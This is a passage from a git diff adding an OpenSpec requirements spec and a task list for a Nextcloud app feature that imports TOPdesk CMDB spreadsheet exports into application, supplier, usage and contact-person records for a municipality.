imports a row, changes "Applicatie Naam" of APPID 2 to `naamtest124` in the row data, imports again, and asserts one module with the new name. + +- **GIVEN** the module with APPID `2` was imported with name `naamtest123`, and an admin has since set its `website` +- **WHEN** a newer export where "Applicatie Naam" for APPID `2` is `naamtest124` is imported +- **THEN** the same module SHALL now have name `naamtest124` +- **AND** its `website` SHALL be unchanged +- **AND** the report SHALL show the row as `updated` + +#### Scenario: An APPID that occurs twice in one file is imported once +@e2e exclude Covered by the service test; tests/Unit/Service/CmdbExportImportServiceTest.php feeds two rows with the same APPID, also across both sheets. + +- **GIVEN** an upload where APPID `2` appears in row 2 and row 7 of "Beheerde Applicaties CMDB" +- **WHEN** it is imported +- **THEN** row 2 SHALL be imported +- **AND** row 7 SHALL be reported as `skipped` with reason `duplicate APPID in file` + +#### Scenario: A changed Applicatie Code keeps the same module +@e2e exclude Covered by the service test; tests/Unit/Service/CmdbExportImportServiceTest.php imports APPID 42 with two different codes. + +- **GIVEN** the module with APPID `42` was imported with "Applicatie Code" `APP-Oud` +- **WHEN** a newer export has APPID `42` with "Applicatie Code" `App-Nieuw` +- **THEN** the same module SHALL be updated, with `externalId` = `App-Nieuw` and the same `externalKey` + +### Requirement: REQ-CMDB-007 A newly created module SHALL get a publicationDate, and an existing one SHALL keep its own + +When the service creates a `module` it SHALL set `publicationDate` to the time the import started, as an ISO 8601 date-time, so OpenCatalogi lists the module. When it updates an existing `module` it SHALL NOT change `publicationDate` or `depublicationDate`, also when they are empty. + +#### Scenario: OpenCatalogi can list an imported application +@e2e exclude Crosses into OpenCatalogi, whose catalogue configuration is outside this change; tests/Unit/Service/CmdbExportImportServiceTest.php asserts publicationDate on created modules, and the manual test plan checks the search in OpenCatalogi. + +- **GIVEN** an OpenCatalogi catalogue that includes the stackiq register's `module` schema +- **WHEN** the anonymised export is imported +- **THEN** each created module SHALL have a `publicationDate` that is not later than the moment the import finished +- **AND** a search in OpenCatalogi for `Aangetekend Mailen` SHALL find the module + +#### Scenario: Re-import preserves publicationDate +@e2e exclude Covered by the service test; tests/Unit/Service/CmdbExportImportServiceTest.php asserts both cases. + +- **GIVEN** the module with APPID `1234` was imported with `publicationDate` 2026-10-01T09:00:00+00:00, and the module with APPID `2` was later depublished by an admin +- **WHEN** a newer export is imported that changes both modules' names +- **THEN** the module with APPID `1234` SHALL keep `publicationDate` 2026-10-01T09:00:00+00:00 +- **AND** the module with APPID `2` SHALL keep its `depublicationDate` and SHALL NOT get a new `publicationDate` + +### Requirement: REQ-CMDB-008 A manufacturer SHALL become one supplier organisation, however many rows name it + +The service SHALL map "Vendor" (the maker of the software) through the manufacturer pack to an `organization` of type `Supplier`. It SHALL match names after trimming, collapsing whitespace and ignoring case, first against the organisations it has already resolved during this import, then against existing organisations of type `Supplier`, and SHALL create one only when neither matches. The imported module's `provider` and the usage's `provider` SHALL reference that organisation. A row with an empty "Vendor" SHALL be imported without a provider. "Leverancier" and "Hostingpartij" SHALL NOT be read. + +#### Scenario: Rows with the same manufacturer share one organisation +@e2e exclude Covered by the service test; tests/Unit/Service/CmdbExportImportServiceTest.php feeds three rows with "Fabfrikant", "Fabfrikant " and "FABFRIKANT". + +- **GIVEN** three rows whose "Vendor" is `Fabfrikant`, `Fabfrikant ` and `FABFRIKANT` +- **WHEN** they are imported +- **THEN** exactly one organisation `Fabfrikant` of type `Supplier` SHALL exist +- **AND** all three modules SHALL have `provider` = its uuid + +#### Scenario: An existing supplier is reused +@e2e exclude Covered by the service test. + +- **GIVEN** an existing organisation `Aangetekend B.V.` of type `Supplier` +- **WHEN** the "Onbeh" row with "Vendor" `Aangetekend B.V.` is imported +- **THEN** no new organisation SHALL be created +- **AND** the module with APPID `1234` SHALL have `provider` = the existing organisation's uuid + +### Requirement: REQ-CMDB-009 Each imported application SHALL have one usage that links it to the municipality + +For each imported module the service SHALL keep exactly one `usage` with `consumer` = the municipality and `module` = the module, found by those two references and created when missing. The usage pack SHALL map "Applicatie Status" to `status` and "Classificatie" to `timeClassification` through lookups, "End-of-Life Functioneel" to `startDateOutPhased`, and the sheet's `Beheer` constant, "Cluster" and "Applicatie Eigenaar (Afdeling)" to `interneAnnotation`, so the note records whether maintenance is arranged (`Beheer geregeld: nee` for "Onbeh Applicaties CMDB", `ja` for "Beheerde Applicaties CMDB"). Empty parts SHALL be left out of the note. `interneAnnotation` SHALL be written only when the usage is created or the field is empty, so a note an admin wrote is never overwritten. + +#### Scenario: The usage records whether maintenance is arranged +@e2e exclude Covered by the service test; tests/Unit/Service/CmdbExportImportServiceTest.php imports a row from each sheet. + +- **GIVEN** a row on "Onbeh Applicaties CMDB" with "Cluster" `H10` and "Applicatie Eigenaar (Afdeling)" `H10 Accounting` +- **WHEN** it is imported +- **THEN** its usage SHALL have `interneAnnotation` = `Beheer geregeld: nee / H10 / H10 Accounting` +- **AND** a row on "Beheerde Applicaties CMDB" without a cluster SHALL get `Beheer geregeld: ja / ` + +#### Scenario: Portaliq can show the application to the municipality +@e2e exclude Crosses into Portaliq, whose account claim is outside this change; tests/Unit/Service/CmdbExportImportServiceTest.php asserts the usage references, and the manual test plan checks Portaliq's "Software we use". + +- **GIVEN** a Portaliq account with claim `stackiq.organisationId` = the uuid of "Gemeente Voorbeeldstad" +- **WHEN** the anonymised export is imported for "Gemeente Voorbeeldstad" +- **THEN** a usage SHALL exist for each imported module with `consumer` = that uuid and `module` = the module's uuid +- **AND** that account SHALL see `Aangetekend Mailen` and `naamtest123` under "Software we use" + +#### Scenario: A re-import does not add a second usage +@e2e exclude Covered by the re-import scenario of REQ-CMDB-006 and the service test. + +- **GIVEN** the module with APPID `2` already has a usage for "Gemeente Voorbeeldstad" +- **WHEN** a newer export is imported for the same municipality +- **THEN** the module with APPID `2` SHALL still have exactly one usage for "Gemeente Voorbeeldstad" + +### Requirement: REQ-CMDB-010 The owner SHALL become a contact person of the municipality through Nextcloud Contacts, never a user account, and SHALL never be publicly readable + +The business owner pack SHALL map "Applicatie Eigenaar (Persoon)" (the display name, which may be a function instead of a person's name) and "Applicatie Eigenaar (Functie)" (the role). No technical owner SHALL be imported; the functional administrator columns SHALL NOT be read. For the owner the service SHALL resolve a Nextcloud contact through `StackiqContactSyncService` by an exact match on the display name, and otherwise by creating one. It SHALL then reuse or create one `contactPerson` with that `contactsUid`, `organization` = the municipality and `role` = "Applicatie Eigenaar (Functie)" when given, and SHALL set `usage.businessOwner` to it. The import SHALL NOT create Nextcloud user accounts. When Nextcloud Contacts is unavailable, the row SHALL be imported without an owner and SHALL carry a warning. `contactPerson` and `usage` SHALL have no public read rule, so the owner is never readable by an anonymous visitor; a published module SHALL refer to them by relation only. + +#### Scenario: The owner becomes the business owner +@e2e exclude Needs a Contacts address book; tests/Unit/Service/CmdbExportImportServiceTest.php asserts the calls to a StackiqContactSyncService test double and the saved contactPerson. + +- **GIVEN** the "Onbeh" row with "Applicatie Eigenaar (Persoon)" `Achternaam, Voornaam` and "Applicatie Eigenaar (Functie)" `Afdelingshoofd`, and the "Beheerde" row whose person column holds the function `Teamleider Applicatiebeheer` +- **WHEN** they are imported for "Gemeente Voorbeeldstad" +- **THEN** one `contactPerson` SHALL exist per owner with the resolved `contactsUid`, `organization` = "Gemeente Voorbeeldstad" and the function as `role` +- **AND** each usage SHALL have `businessOwner` = its owner's contact person and no `technicalOwner` +- **AND** no Nextcloud user account SHALL be created + +#### Scenario: Imported owners are never readable anonymously +@e2e tests/e2e/spec-coverage/cmdb-import.spec.ts + +- **GIVEN** the anonymised export was imported, creating contact persons for its owners +- **WHEN** a visitor who is not signed in lists the `contactPerson` and `usage` objects through OpenRegister, or searches OpenCatalogi for an imported application +- **THEN** OpenRegister SHALL return no contact person and no usage +- **AND** the OpenCatalogi search hit SHALL carry no owner name, and its `contactPerson` and `usages` SHALL be empty or ids only + +#### Scenario: The same owner on two rows is one contact person +@e2e exclude Covered by the service test. + +- **GIVEN** two rows with the same "Applicatie Eigenaar (Persoon)" +- **WHEN** they are imported +- **THEN** exactly one `contactPerson` for that contact SHALL exist for the municipality, referenced by both usages + +#### Scenario: Contacts disabled does not block the import +@e2e exclude Environment condition; tests/Unit/Service/CmdbExportImportServiceTest.php sets isAvailable() to false. + +- **GIVEN** the Nextcloud Contacts app is disabled +- **WHEN** the anonymised export is imported +- **THEN** both modules and usages SHALL be saved without owners +- **AND** each row with an owner SHALL carry the warning that owners were skipped because Contacts is unavailable + +### Requirement: REQ-CMDB-011 Each row SHALL be processed in isolation and reported with its outcome + +The service SHALL process every non-empty row in its own error boundary. An exception in one row SHALL mark that row `failed` with the reason and SHALL NOT stop the import or change the outcome of other rows. Rows whose cells are all empty SHALL be ignored and not counted. The response SHALL contain a summary (rows read, created, updated, unchanged, skipped, failed, warnings) and one entry per counted row with sheet, row number, APPID, application name, outcome, reasons, warnings and the uuids of the module and usage. Report entries and log lines SHALL NOT contain owner names, e-mail addresses or other person data. The section SHALL render report values as text, never as HTML. + +#### Scenario: Upload with a per-row report +@e2e tests/e2e/spec-coverage/cmdb-import.spec.ts + +- **GIVEN** a Nextcloud admin, "Gemeente Voorbeeldstad" selected, and the anonymised export +- **WHEN** they start the import and it finishes +- **THEN** the section SHALL show 2 rows read and 2 created +- **AND** the report SHALL list `Onbeh Applicaties CMDB` row 2 APPID `1234` and `Beheerde Applicaties CMDB` row 2 APPID `2`, each with outcome `created` and a link to its module +- **AND** the hundreds of formatted but empty rows in both sheets SHALL NOT appear in the report + +#### Scenario: One bad row does not stop the others +@e2e exclude Fault injection; tests/Unit/Service/CmdbExportImportServiceTest.php makes saveObject() throw for one row of three. + +- **GIVEN** an export with three rows, where saving the module of the second row fails in OpenRegister +- **WHEN** it is imported +- **THEN** rows 1 and 3 SHALL be `created` +- **AND** row 2 SHALL be `failed` with a reason naming the step that failed +- **AND** the response SHALL be 200 with that summary + +#### Scenario: A row without a name is skipped with its reason +@e2e exclude Covered by the service test. + +- **GIVEN** a row on "Beheerde Applicaties CMDB" with an APPID but an empty "Applicatie Naam" +- **WHEN** it is imported +- **THEN** it SHALL be `skipped` with reason `missing Applicatie Naam` + +### Requirement: REQ-CMDB-012 Records missing from a newer export SHALL be left untouched + +The import SHALL accept `missingRecords` with the value `keep`, which is also the default. It SHALL NOT change, depublish or delete a module, usage, organisation or contact person because its APPID is absent from the upload. Any other value, including the reserved `mark` and `remove`, SHALL be refused with 422 `MISSING_RECORDS_UNSUPPORTED`. + +#### Scenario: An application dropped from the export stays +@e2e exclude Covered by the service test; tests/Unit/Service/CmdbExportImportServiceTest.php imports two rows, then one, and asserts the other module and usage are unchanged. + +- **GIVEN** the modules with APPID `1` and `7` were imported for "Gemeente Voorbeeldstad" +- **WHEN** a newer export that only contains APPID `1` is imported +- **THEN** the module with APPID `7` and its usage SHALL be unchanged + +#### Scenario: A reserved value is refused +@e2e exclude Validation; tests/Unit/Controller/CmdbImportControllerTest.php. + +- **GIVEN** a valid export +- **WHEN** a Nextcloud admin posts it with `missingRecords=remove` +- **THEN** the endpoint SHALL answer 422 with error `MISSING_RECORDS_UNSUPPORTED` +- **AND** no object SHALL be written + +### Requirement: REQ-CMDB-013 A running import SHALL report its progress and SHALL stop when cancelled + +The import SHALL run as a `ProgressTracker` operation of type `cmdb_import` under the `operationId` the client sends, and SHALL update the processed row count after every row, readable through the existing `GET /api/progress/{operationId}`. `POST /api/cmdb-import/{operationId}/cancel`, admin-only and CSRF-protected, SHALL request cancellation. The service SHALL check for cancellation between rows, SHALL keep the rows already processed, and SHALL return the report with `cancelled: true`. The final report SHALL also be stored with the operation, so it can be read again within the tracker's lifetime. + +#### Scenario: The admin follows and cancels a running import +@e2e exclude Timing-dependent with a two-row fixture; tests/Unit/Service/CmdbExportImportServiceTest.php requests cancellation after row 1 of three and asserts one processed row and cancelled true. + +- **GIVEN** an import of three rows that is running +- **WHEN** the admin presses Cancel after the first row is done +- **THEN** the service SHALL stop before the second row +- **AND** the report SHALL show 1 processed row and `cancelled: true` +- **AND** the module created for the first row SHALL stay + +### Requirement: REQ-CMDB-014 The admin settings SHALL offer a CMDB import section + +Stackiq's admin settings page SHALL show a section "CMDB import", rendered by the settings page and not registered as an in-app route. The section SHALL let the admin choose an existing municipality or type the name of a new one, choose an `.xlsx` file, and start the import. While the import runs it SHALL show a progress bar and a Cancel button. Afterwards it SHALL show the summary and a report table that can be filtered by outcome. Every control SHALL have a visible label, and every string SHALL be translatable. + +#### Scenario: The admin runs an import from the settings page +@e2e tests/e2e/spec-coverage/cmdb-import.spec.ts + +- **GIVEN** a Nextcloud admin on stackiq's admin settings page +- **WHEN** they choose "Gemeente Voorbeeldstad", choose the anonymised export and press "Import" +- **THEN** a progress bar SHALL appear while the import runs +- **AND** afterwards the summary and the report table SHALL be shown +- **AND** filtering the table on `created` SHALL show the two imported rows + +## Non-Functional Requirements + +- **Performance:** an export of 1,100 rows SHALL import on the local rig without exceeding PHP's default memory limit, by loading only the source sheets in read-data-only mode. A re-import of an unchanged export SHALL make no `saveObject()` call for unchanged modules and usages. Lookups of organisations, modules and contact persons SHALL be cached per import run, so each distinct vendor, APPID and contact is looked up at most once. +- **Security:** an uploaded third-party file is input: xlsx only, bounded size and row count, no formula evaluation (cached values only), no external links, header-name resolution, per-row isolation, admin-only routes with CSRF (REQ-CMDB-001 to 003, 011). No cell value is ever rendered as HTML. +- **Privacy:** only the owner columns named in REQ-CMDB-010 are read into stackiq, and the objects holding them are never publicly readable. The report and the logs contain no person data. Test fixtures are anonymised and carry no document metadata naming real people. +- **Accessibility:** Target WCAG 2.2 AA. The section uses Nextcloud and `@conduction/nextcloud-vue` components: labelled file input and municipality select (SC 1.3.1, 3.3.2; gates `form-label-association`, `nc-input-labels`), a labelled Cancel button (SC 4.1.2; gate `button-name`), a progress bar and summary announced through a polite live region (SC 4.1.3; `axe`), and a report table with header cells (SC 1.3.1; gate `table-headers`). New in 2.2: 2.4.11 Focus Not Obscured applies (the report must not hide focus behind sticky headers); 2.5.7 Dragging Movements does not apply (the file input works without drag and drop); 2.5.8 Target Size applies to the buttons (Nextcloud defaults); 3.2.6 Consistent Help does not apply (no help mechanism added); 3.3.7 Redundant Entry applies (the chosen municipality stays selected after an import); 3.3.8 Accessible Authentication does not apply (no authentication step). +- **Internationalization:** Dutch and English MUST be supported (ADR-005) for the section, the error messages and the report reasons. + +## Acceptance Criteria + +- [ ] A Nextcloud admin imports the anonymised TOPdesk export for a chosen municipality, and the report lists both data rows as created. +- [ ] Importing the same export again creates no object, and reports both rows as unchanged. +- [ ] A changed "Applicatie Naam" in a newer export updates the same module (matched on APPID); `publicationDate` and fields the export does not map stay as they were. +- [ ] Rows with the same "Vendor" share one supplier organisation. +- [ ] Every imported module has one usage whose consumer is the municipality. +- [ ] A missing "APPID" or "Applicatie Naam" column stops the import with 422 naming the column and sheet; a non-xlsx or oversized file is rejected before reading. +- [ ] One failing row is reported as failed while the other rows are imported. +- [ ] The imported owner is not readable without signing in. +- [ ] Imported modules are found by OpenCatalogi's search, and appear in Portaliq's "Software we use" for the municipality's account, once both apps are configured as the docs describe. + +## Notes + +- Mapping decisions per column, including the columns that are not mapped because the target schema has no field, are listed in design.md. +- Connections, suites, hosting parties ("Hostingpartij"), "Leverancier", the archive sheet "Gearchiveerde Applicaties" and `missingRecords: mark|remove` are follow-ups (proposal, Out of Scope). +- Related: stackiq#373 (live TOPdesk connector), stackiq#1127 (record reconciliation), stackiq#1134 (ITSM exchange, the opposite direction), sbom-import and archimate-import (the upload patterns this follows). diff --git a/openspec/changes/cmdb-export-import/tasks.md b/openspec/changes/cmdb-export-import/tasks.md new file mode 100644 index 000000000..a04d31964 --- /dev/null +++ b/openspec/changes/cmdb-export-import/tasks.md @@ -0,0 +1,141 @@ +# Tasks: cmdb-export-import + +Spec: `openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md` (`SPEC` below). Contract: `contract.md` (authoritative for routes, request fields, report shape and error codes). + +## Implementation Tasks + +### Task 1: Sanitised test fixtures +- **spec_ref**: `SPEC#requirement-req-cmdb-002-the-workbook-shall-be-read-as-stored-data-without-evaluating-formulas-or-following-links` (cmdb-export-import#REQ-CMDB-002, also used by every other task) +- **files**: `tests/fixtures/cmdb/topdesk-export-anonymised.xlsx`, `tests/fixtures/cmdb/topdesk-missing-appid.xlsx`, `tests/fixtures/cmdb/topdesk-shuffled-columns.xlsx`, `tests/fixtures/cmdb/topdesk-formula-and-connection.xlsx`, `tests/fixtures/cmdb/README.md`, `tests/fixtures/cmdb/build-fixtures.py` +- **acceptance_criteria**: + - GIVEN the anonymised test export from the WOO-586 plan folder WHEN it is copied to `topdesk-export-anonymised.xlsx` THEN `docProps/core.xml` has no creator or lastModifiedBy, and `docProps/custom.xml`, `customXml/` and `xl/connections.xml` are removed, with their entries in `[Content_Types].xml` and the rels files + - GIVEN the sanitised fixture WHEN every shared string and cell value is scanned THEN no real person name, municipality domain, personnel number or phone number remains, only the placeholder values (`Achternaam, Voornaam`, `letter.achternaam@gemeente.nl`, `123456`) + - GIVEN `build-fixtures.py` WHEN it runs (Python stdlib zipfile only) THEN it writes placeholder cached values into the formula cells of the mapped CMDB columns (idempotent) and derives the variant fixtures: no "APPID" header on "Beheerde Applicaties CMDB"; both CMDB sheets with shuffled columns and header `Vendor⚡`; on "Beheerde" a formula in "Applicatie Naam" with cached value `Rekenmodel`, a "Roepnaam" formula without a cached value, plus a synthetic `xl/connections.xml` + - The original export of the municipality is never used or committed +- [x] Implement +- [x] Test (the scan is a PHPUnit test `tests/Unit/Fixtures/CmdbFixtureHygieneTest.php` that fails on metadata or non-placeholder person data) + +### Task 2: Register fragment with external-id properties and seed modules +- **spec_ref**: `SPEC#requirement-req-cmdb-006-a-module-shall-be-matched-on-its-topdesk-appid-so-a-re-import-updates-instead-of-duplicating` (cmdb-export-import#REQ-CMDB-006) +- **files**: `lib/Settings/register.d/topdesk-cmdb-import.json`, `tests/Unit/Settings/TopdeskCmdbFragmentTest.php` +- **acceptance_criteria**: + - GIVEN all `register.d` fragments WHEN they are merged in filename order the way `SettingsService` does THEN `module.version` is `0.3.5` and `externalId`, `externalNumber`, `externalKey`, `externalCreatedAt`, `externalModifiedAt` exist, none required, with titles (hydra gate schema-property-titles) + - GIVEN the fragment WHEN the register is imported on the rig THEN existing modules load and save unchanged, and the seed modules `voorbeeld-zaaksysteem`, `voorbeeld-afsprakenplanner` and `voorbeeld-belastingapplicatie` exist without `publicationDate` or `externalKey` (design.md, Seed Data) +- [x] Implement +- [x] Test + +### Task 3: Import profile, mapping packs and their loader +- **spec_ref**: `SPEC#requirement-req-cmdb-005-field-mapping-shall-be-declarative-and-executed-by-openregisters-mapping-engine` (cmdb-export-import#REQ-CMDB-005) +- **files**: `lib/Settings/cmdb-import/topdesk-profile.json`, `lib/Settings/cmdb-import/topdesk-module.json`, `lib/Settings/cmdb-import/topdesk-manufacturer.json`, `lib/Settings/cmdb-import/topdesk-municipality.json`, `lib/Settings/cmdb-import/topdesk-usage.json`, `lib/Settings/cmdb-import/topdesk-business-owner.json`, `lib/Service/Cmdb/CmdbImportProfile.php`, `lib/Exception/CmdbImportException.php`, `tests/Unit/Service/Cmdb/CmdbImportProfileTest.php` +- **acceptance_criteria**: + - GIVEN the five packs WHEN each is passed to OpenRegister's `PackDefinitionValidator` THEN all are valid with `sourceFormat: excel` and `idStrategy: generate`, and they implement the column table in design.md + - GIVEN a pack with an unknown transform, or no `MappingEngine` in the container WHEN the profile loads THEN it throws `CmdbImportException` with code `MAPPING_UNAVAILABLE` and status 503 + - GIVEN the profile WHEN its referenced columns are listed THEN no person or group column other than "Applicatie Eigenaar (Persoon)" / "(Functie)" is among them, and neither are the sheet constants +- [x] Implement +- [x] Test + +### Task 4: Workbook reader and row normaliser +- **spec_ref**: `SPEC#requirement-req-cmdb-002-…` and `SPEC#requirement-req-cmdb-003-columns-shall-be-resolved-by-header-name-and-a-missing-required-column-shall-stop-the-import-with-422` (cmdb-export-import#REQ-CMDB-002, #REQ-CMDB-003, #REQ-CMDB-005) +- **files**: `lib/Service/Cmdb/CmdbWorkbookReader.php`, `lib/Service/Cmdb/CmdbRowNormaliser.php`, `tests/Unit/Service/Cmdb/CmdbWorkbookReaderTest.php`, `tests/Unit/Service/Cmdb/CmdbRowNormaliserTest.php` +- **acceptance_criteria**: + - GIVEN the sanitised fixture WHEN it is read THEN exactly one row per CMDB sheet is returned (empty formatted rows and formula rows that cached `0` dropped), keyed by profile column names, with only allowlisted columns + - GIVEN the formula/connection fixture WHEN it is read THEN "Applicatie Naam" is `Rekenmodel`, "Roepnaam" is empty and listed in the row's `uncached`, `getCalculatedValue()` is never called, and no HTTP client is involved + - GIVEN the shuffled fixture WHEN it is read THEN rows equal those of the original; GIVEN the missing-column fixture THEN `MISSING_COLUMN` names `APPID` and `Beheerde Applicaties CMDB`; GIVEN only "Blad1" THEN `NO_SOURCE_SHEET`; GIVEN more than `maxRowsPerSheet` rows THEN `TOO_MANY_ROWS` + - GIVEN a text file named `.xlsx`, or a `.xlsm` WHEN checked THEN `NOT_XLSX` before PhpSpreadsheet is touched; GIVEN PhpSpreadsheet absent THEN `READER_UNAVAILABLE` + - GIVEN serials `45111.380322627316`, `46232.552113113423`, `53359` and id `1234.0` WHEN normalised THEN `2023-07-04`, `2026-07-29`, `2046-02-01` and `"1234"`; GIVEN "BNN Classificatie" `NB` and "End-of-Life Functioneel" `49675` THEN both are empty +- [x] Implement +- [x] Test + +### Task 5: Import service: municipality, manufacturer, module upsert, usage +- **spec_ref**: `SPEC#requirement-req-cmdb-004-every-import-shall-have-exactly-one-consuming-municipality-chosen-by-the-admin`, `SPEC#requirement-req-cmdb-006-…`, `SPEC#requirement-req-cmdb-007-a-newly-created-module-shall-get-a-publicationdate-and-an-existing-one-shall-keep-its-own`, `SPEC#requirement-req-cmdb-008-a-manufacturer-shall-become-one-supplier-organisation-however-many-rows-name-it`, `SPEC#requirement-req-cmdb-009-each-imported-application-shall-have-one-usage-that-links-it-to-the-municipality`, `SPEC#requirement-req-cmdb-012-records-missing-from-a-newer-export-shall-be-left-untouched` +- **files**: `lib/Service/CmdbExportImportService.php`, `tests/Unit/Service/CmdbExportImportServiceTest.php` +- **acceptance_criteria**: + - GIVEN the sanitised fixture and "Gemeente Voorbeeldstad" WHEN imported THEN two modules with `externalKey` `topdesk::`, `publicationDate` = import start, `provider` set, and two usages with `consumer` = the municipality and `module` = the module + - GIVEN the same import twice WHEN run THEN 0 created / 2 unchanged and no `saveObject()` call for unchanged objects; GIVEN a changed "Applicatie Naam" THEN one module updated; GIVEN a changed "Applicatie Code" for the same APPID THEN the same module updated, `website`, `publicationDate` and `depublicationDate` untouched + - GIVEN `municipalityName` twice THEN one Municipality; GIVEN the uuid of a Supplier THEN `MUNICIPALITY_INVALID` + - GIVEN "Vendor" "Fabfrikant", "Fabfrikant " and "FABFRIKANT" THEN one Supplier; GIVEN an existing Supplier with the same name THEN it is reused + - GIVEN `updateExisting=false` THEN matched rows are `skipped` (`exists`); GIVEN a second export without one APPID THEN that module and usage are unchanged; GIVEN an unknown "Applicatie Status" THEN `status` is dropped with a warning naming column and value + - GIVEN the module pack mapping "Software Suite" to licentietype (test-only pack) THEN the module carries it, with no code change + - GIVEN a row from each sheet THEN the usage note starts with `Beheer geregeld: nee` (Onbeh) or `ja` (Beheerde), followed by the non-empty Cluster and Afdeling + - Every new method carries `@spec openspec/changes/cmdb-export-import/tasks.md#task-5` (hydra gate spec-coverage) +- [x] Implement +- [x] Test + +### Task 6: Owners as contact persons through Nextcloud Contacts +- **spec_ref**: `SPEC#requirement-req-cmdb-010-the-owner-shall-become-a-contact-person-of-the-municipality-through-nextcloud-contacts-never-a-user-account-and-shall-never-be-publicly-readable` (cmdb-export-import#REQ-CMDB-010) +- **files**: `lib/Service/CmdbExportImportService.php`, `tests/Unit/Service/CmdbExportImportServiceTest.php` +- **acceptance_criteria**: + - GIVEN the fixture WHEN imported THEN each row's "Applicatie Eigenaar (Persoon)" (a name, or a function) resolves to a contact by display name, one `contactPerson` per owner exists with that `contactsUid`, `organization` = municipality and `role` = "Applicatie Eigenaar (Functie)", and it is the usage's `businessOwner`; no `technicalOwner` is written + - GIVEN an owner imported twice THEN one contact (exact display-name match) and one `contactPerson` + - GIVEN the merged register THEN `usage` and `contactPerson` have no public read rule and a `module` refers to them by relation only (`tests/Unit/Settings/CmdbPersonDataVisibilityTest.php`); GIVEN the rig THEN an anonymous OpenCatalogi search hit carries no owner and OpenRegister returns no contact person or usage anonymously (e2e) + - GIVEN Contacts disabled WHEN imported THEN modules and usages are saved, owners skipped with a warning + - GIVEN an imported `contactPerson` WHEN `OrganizationSyncService::performUserSync`'s selection is applied THEN it is not selected, and no Nextcloud user is created (if it would be, add an exclusion marker before shipping) + - GIVEN any import WHEN the report and log lines are inspected THEN no owner name or e-mail appears +- [x] Implement +- [x] Test + +### Task 7: Row isolation, report, progress and cancel +- **spec_ref**: `SPEC#requirement-req-cmdb-011-each-row-shall-be-processed-in-isolation-and-reported-with-its-outcome`, `SPEC#requirement-req-cmdb-013-a-running-import-shall-report-its-progress-and-shall-stop-when-cancelled` +- **files**: `lib/Service/CmdbExportImportService.php`, `lib/Service/Cmdb/CmdbImportReport.php`, `tests/Unit/Service/CmdbExportImportServiceTest.php` +- **acceptance_criteria**: + - GIVEN three rows where saving the second module throws WHEN imported THEN rows 1 and 3 are `created`, row 2 is `failed` naming the step, and the summary matches contract.md + - GIVEN duplicate APPID rows (also across both sheets), a missing APPID and a missing "Applicatie Naam" THEN they are `skipped` with the reasons in the spec; GIVEN a formula without a cached value THEN the row is imported with a warning naming the column + - GIVEN an `operationId` WHEN the import runs THEN a `cmdb_import` operation reports per-row progress, and after completion its statistics hold the report + - GIVEN cancel requested after row 1 of three THEN one processed row, `cancelled: true`, row 1's objects kept +- [x] Implement +- [x] Test + +### Task 8: Controller, routes and API tests +- **spec_ref**: `SPEC#requirement-req-cmdb-001-the-import-endpoint-shall-accept-only-a-bounded-xlsx-upload-from-a-nextcloud-admin` (cmdb-export-import#REQ-CMDB-001, #REQ-CMDB-012, #REQ-CMDB-013) +- **files**: `lib/Controller/CmdbImportController.php`, `appinfo/routes.php`, `tests/Unit/Controller/CmdbImportControllerTest.php`, `postman/stackiq-tests.json`, `openapi.json` +- **acceptance_criteria**: + - GIVEN `cmdbImport#import` and `cmdbImport#cancel` WHEN their attributes are inspected THEN neither has `NoAdminRequired` or `NoCSRFRequired` (hydra gates route-auth, csrf-cochange, no-admin-idor) + - GIVEN the validation order in design.md D10 THEN each error code from contract.md is returned with its status, and every service exception is translated (hydra gate controller-exception-translation) + - GIVEN Newman WHEN run against the rig THEN 403 for a non-admin and for a `software-catalog-admins` member, 412 without requesttoken, 413 for an oversized file, 422 `MISSING_RECORDS_UNSUPPORTED`, and 200 with the report for the fixture +- [x] Implement +- [ ] Test + +### Task 9: CMDB import section in admin settings, l10n and Playwright e2e +- **spec_ref**: `SPEC#requirement-req-cmdb-014-the-admin-settings-shall-offer-a-cmdb-import-section` (cmdb-export-import#REQ-CMDB-014, #REQ-CMDB-003, #REQ-CMDB-011) +- **files**: `src/views/settings/sections/CmdbImport.vue`, `src/views/settings/StackiqSettings.vue`, `l10n/en.json`, `l10n/en.js`, `l10n/nl.json`, `l10n/nl.js`, `tests/e2e/spec-coverage/cmdb-import.spec.ts` +- **acceptance_criteria**: + - GIVEN a Nextcloud admin on stackiq's admin settings WHEN they choose "Gemeente Voorbeeldstad" and the sanitised fixture and press Import THEN a progress bar shows, then the summary (2 read, 2 created) and a `CnDataTable` report filterable by outcome with links to the modules + - GIVEN a second import of the same file THEN the report shows 2 unchanged; GIVEN the missing-column fixture THEN the section shows column `APPID` and sheet `Beheerde Applicaties CMDB`; GIVEN a CSV THEN it shows the `NOT_XLSX` message + - GIVEN the section WHEN the hydra gates run THEN admin-router, form-label-association, nc-input-labels, button-name, table-headers and modal-isolation pass, and no `v-html` renders report values + - GIVEN a Dutch and an English locale THEN every new string, error message and report reason is translated + - The e2e file references every `@e2e tests/e2e/spec-coverage/cmdb-import.spec.ts` scenario in the spec (hydra gate e2e-coverage) +- [x] Implement +- [ ] Test + +### Task 10: Administrator documentation with screenshots +- **spec_ref**: `SPEC#purpose` +- **files**: `docs/features/cmdb-import.md`, `docs/images/cmdb-import-*.png`, `docs/features/README.md` +- **acceptance_criteria**: + - GIVEN the docs page WHEN an administrator reads it THEN it covers the steps, the expected file structure (sheets, required and mapped columns, the column table), the error codes and what to do, repeat-import behaviour (match on APPID per municipality, unchanged rows, records missing from the export stay, publicationDate rule), where owner contacts end up, and how to adjust the mapping JSON + - GIVEN the prerequisites section THEN it explains the OpenCatalogi catalogue (registers `stackiq`, schema `module`) and the Portaliq account claim `stackiq.organisationId`, needed to see the data there + - GIVEN Playwright MCP on the rig WHEN screenshots are taken of the empty section, a running import and a finished report (sanitised fixture only) THEN they are committed under `docs/images/` +- [ ] Implement +- [ ] Test (screenshots reviewed: no data other than the sanitised fixture visible) + +### Task 11: Rework to the CMDB sheets (WOO-586 Stap 4b, decisions of 2026-10-01) +- **spec_ref**: `SPEC#requirement-req-cmdb-003-columns-shall-be-resolved-by-header-name-and-a-missing-required-column-shall-stop-the-import-with-422`, `SPEC#requirement-req-cmdb-006-a-module-shall-be-matched-on-its-topdesk-appid-so-a-re-import-updates-instead-of-duplicating`, `SPEC#requirement-req-cmdb-010-the-owner-shall-become-a-contact-person-of-the-municipality-through-nextcloud-contacts-never-a-user-account-and-shall-never-be-publicly-readable` +- **files**: `lib/Settings/cmdb-import/*.json`, `lib/Service/Cmdb/*`, `lib/Service/CmdbExportImportService.php`, `lib/Settings/register.d/topdesk-cmdb-import.json`, 